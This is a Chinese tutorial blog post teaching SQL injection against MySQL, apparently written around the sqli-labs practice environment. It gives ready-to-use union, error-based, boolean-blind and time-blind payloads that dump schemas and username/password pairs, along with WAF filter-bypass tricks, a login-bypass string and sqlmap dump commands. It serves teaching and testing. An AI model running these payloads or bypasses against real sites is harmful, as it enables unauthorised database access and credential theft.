【超详细版】学习SQL注入看这篇就够了(原理及思路绕过)

SQL注入原理

1.SQL注入概念及产生原因:

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

2.SQL注入的本质:

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

3.SQL注入的两个关键点:

1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。
MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本
SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名

union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)

5、获取表名

union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'

6、获取字段名

union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:

查 库: select schema\_name from information\_schema.schema
查 表: select table\_name from information\_schema.tables where table\_schema=库名
查 列: select column\_name from information\_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名

总结--普通SQL注入必备条件:
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;

SQL注入思路

1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。

sql注入点类型

  1. get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。

  2. post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

  3. 有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

  4. Referer注入
    Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。

  5. XFF注入
    在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
    burpsuite 抓包,提交输入检测语句:

X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样,存在 SQL 注入漏洞
6. UA注入
输入点在User-Agent

2.判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断

端口扫描

如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432

网站类型与数据库的联系

asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql

根据注释符判断

“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)

“null”和“%00”是Access支持的注释。

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

根据数据库特有表进行判断

1、mssql数据库

http://127.0.0.1/test.php?id=1 and (select count(\*) from sysobjects)>0 and 1=1

2、access数据库

http://127.0.0.1/test.php?id=1 and (select count(\*) from msysobjects)>0 and 1=1

3、mysql数据库(mysql版本在5.0以上)

http://127.0.0.1/test.php?id=1 and (select count(\*) from information\_schema.TABLES)>0 and 1=1

4、oracle数据库

http://127.0.0.1/test.php?id=1 and (select count(\*) from sys.user\_tables)>0 and 1=1

根据其返回的错误类型

ORACLE
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
MS-SQL
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
MYSQL
you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

3.判断参数数据类型

通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and '1'='1等等判断参数数据类型。先判断是否是整型,如果不是整型则为字符型,字符型存在多种情况,需要使用单引号【'】、双引号【"】、括号【()】多种组合方式进行试探。
类似判断闭合方式
id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)
【原因:and 1=1或者and 1=2 写入了sql语句并且执行成功 因为1=2是错误所以id=1 and 1=2回显是错误的】
id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型接下来判断闭合方式)
id=1' and '1'='1回显正确id=1' and '1'='2回显错误(判断为【'】闭合)
id=1" and "1"="1 回显正常 id=1" and "1"="2回显错误(判断为【"】闭合)
【原因同上】
判断为闭合方式为【'】型
以上注入不成功的时候尝试
1%df’ 此为宽字节注入
参数类型一般有数值型,字符型

数值型

前台页面输入的参数是「数字」。
比如下面这个根据ID查询用户的功能。

后台对应的SQL如下,字段类型是数值型,这种就是数值型注入。
select * from user where id = 1;
写入and1=1 与and1=2回显不相同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型

字符型

前台页面输入的参数是「字符串」。
比如下面这个登录功能,输入的用户名和密码是字符串。

后台对应的SQL如下,字段类型是字符型,这种就是字符型注入。
select * from user
where username = 'zhangsan' and password = '123abc';
字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的「引号」不同,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入。
1)单引号字符型注入
参数使用「单引号」包裹时,叫做单引号字符型注入,比如下面这个SQL,就是单引号字符型注入。
select * from user where username = 'zhangsan';
2)双引号字符型注入
参数使用「双引号」包裹时,叫做双引号字符型注入,比如下面这个SQL,就是双引号字符型注入。
select * from user where username = "zhangsan";
3)带有括号的注入
理论上来说,只有数值型和字符型两种注入类型。
SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入类型存在一些变种。
a. 数值型+括号的注入
使用括号包裹数值型参数,比如下面这种SQL。

select \* from user where id = (1);
select \* from user where id = ((1));

包裹多个括号……
b. 单引号字符串+括号的注入
使用括号和单引号包裹参数,比如下面这种SQL。

select \* from user where username = ('zhangsan');
select \* from user where username = (('zhangsan'));

包裹多个括号……
c. 双引号字符串+括号的注入
使用括号和双引号包裹参数,比如下面这种SQL

select \* from user where username = ("zhangsan");
select \* from user where username = (("zhangsan"));
包裹多个括号……

4.判断数据库语句过滤情况

正常输入sql语句如果通过查看回显来判断语句是否被过滤
判断列数
如果order by被过滤则尝试绕过,如果无法绕过就无法得到列数,这时就无法使用联合查询注入。
判断显示位
如果页面没有显示位,同样无法使用联合查询注入。
报错信息
如果没有报错信息返回,则无法使用报错注入。

5.绕过 过滤

正常进行sql注入,通过回显来判断数据是否被过滤

1、过滤关键字

过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。
绕过方法:
(1)最常用的绕过方法就是用**//,<>,分割关键字

sel<>ect
sel/**/ect

(2)根据过滤程度,有时候还可以用双写绕过

selselectect

(3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
(4)有时候还可以使用编码绕过

url编码绕过
16进制编码绕过
ASCII编码绕过

2、过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。
绕过方法:
(1)简单注入可以使用join方法绕过
原语句:

union select 1,2,3

join语句:

union select * from (select 1)a join (select 2)b join (select 3)

(2)对于盲注的那几个函数substr(),mid(),limit

substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符
limit可以用offset的方法绕过
limit 1 offset 1
使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始

3、过滤空格

空格被过滤有以下几种方法绕过:

(1)双空格 
(2)/**/ 
(3)用括号绕过 
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a

4、过滤等号

如果等号被过滤了我们可以用 like 代替
使用like 、rlike 、regexp 或者 使用< 或者 >

5、过滤大于小于号

盲注中我们经常需要用到比较符,如果他们被过滤了,我们可以用以下几种方法绕过:

1)greatest(n1,n2,n3,...)		//返回其中的最大值
(2)strcmp(str1,str2)		//当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between   and		//选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

6.等价函数绕过

hex()、bin() ==> ascii() 
sleep() ==>benchmark() 
concat_ws()==>group_concat() 
mid()、substr() ==> substring() 
@@user ==> user() 
@@datadir ==> datadir() 
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74  
或者: substr((select 'password'),1,1) = 0x70 
strcmp(left('password',1), 0x69) = 1 
strcmp(left('password',1), 0x70) = 0 
strcmp(left('password',1), 0x71) = -1

6.根据注入情况使用注入方式

使用id=1进行尝试尝试 继续使用order by 查询显示位 union select 1,2,3 查询无显示,即无法得到显示位或无法得到列数时放弃使用联合查询
尝试使用报错语句?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+等没有报错信息显示时放弃使用报错注入
尝试使用布尔盲注和时间盲注(建议使用工具进行注入)

联合查询注入

前提:知道列数且页面上有显示位。
判断显示位、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
列数

select id,username,password from security.users where id=1 order by 1;

显示位

select id,username,password from security.users where id=1 union select 1,2,3;

数据库名

关于将id值设置为0或者负数的解释

由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询会默认返回一行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。
要让数据库查询我们插入的语句,需要让原有SQL语句产生查询错误,注意:查询错误不是语法错误,查询错误只会返回空,不会让语句报错。
所以我们可以使id=0或id=-1,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询结果为空,我们插入的SQL语句的结果就会被返回。
联合查询时union select无法执行时 用union+select代替 接下来的查询语句空格全部用【+】代替

?id=-1' union select 1,2,database() --+

或所有数据库名

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

指定数据库中表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
指定数据库中指定表中所有字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

具体数据

?id=-1' union select 1,2,group_concat(username,password) from users --+

报错注入

前提:页面会显示数据库报错信息。
得到报错信息、获取所有数据库名、获取指定数据库所有表名、获取指定数据库指定表中所有字段名、获取具体数据。
数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

或所有数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+

由于无法像联合查询一样一次性看到所有数据库名称,就需要使用limit参数逐个查询

?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

指定数据库中表名

?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
指定数据库中指定表中所有字段名
?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

具体数据

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+

或使用limit挨个遍历

?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

布尔盲注

情况:没有显示位、没有报错信息,但是有SQL语句执行错误信息输出的场景,仅仅通过报错这一行为去判断SQL注入语句是否执行成功。
数据库长度

?id=1' and (length(database()))>7 --+	
?id=1' and (length(database()))>8 --+

数据库名

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+或?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

或所有数据库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) --+

由于无法像联合查询一样一次性看到所有数据库名称,就需要使用limit参数逐个查询

?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

指定数据库中表名

?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

指定数据库中指定表中所有字段名

?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

具体数据

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+

或使用limit挨个遍历
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

时间盲注

前提:页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
缺点:因为是通过sleep()函数影响的响应时间来判断语句是否执行,所以比布尔盲注更慢,真实环境下时间盲注一个注入点需要跑大概五六个小时。
猜解数据库
数据库个数

?id=1 and if((select count(schema_name) from information_schema.schemata)=9,sleep(5),1)

第一个数据库名有多少个字符

?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1)

判断第一个库第一个字符

?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),2,1)))=110,sleep(5),1)//判断第一个库第二个字符

当前数据库
当前数据库长度

?id=1'+and+if((length(database()))=7,sleep(5),1) --+
?id=1'+and+if((length(database()))=8,sleep(5),1) --+

当前数据库名

?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+

猜解表名

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108,sleep(5),1) --+

URL编码后:

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20t
able_schema=database()%20limit%200,1),1,1)))=108,sleep(5),1)%20--+

猜解字段名

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1)))=102,sleep(5),1) --+

URL编码后:

?id=1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20
where%20table_name=%27users%27%20limit%201,1),1,1)))=102,sleep(5),1)%20--+

猜解具体数据

?id=1' and if((ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=102,sleep(5),1) --+

URL编码后:

?id=1%27%20and%20if((ascii(substr((select%20password%20from%20users%20limit%200,1),1,1)))=102,
sleep(5),1)%20--+	

7.使用工具进行注入

1.sqlmap

基础探测命令
联合查询注入:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=U -v 3

报错注入:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=E -v 3

布尔盲注:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=B -v 3

时间盲注:

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3

爆破数据
--current-db 当前使用的数据库
--dbs 列出数据库信息
-D 指定数据库,爆破指定数据库中的表
-D 数据库名 --tables
-T 指定数据表名,爆破指定表中的字段
-D 库名 -T 表名 --columns
-C 指定字段名,爆破具体数据
--dump 将数据导出、转储
指定库、表、字段,查询具体数据

.\sqlmap.py -u "http://192.168.xxx.xxx/sqli/Less-1/?id=1" --dbms=MySQL --technique=T -v 3 -D security -T users -C username,password --dump
  • 9
    点赞
  • 72
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我是黑客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值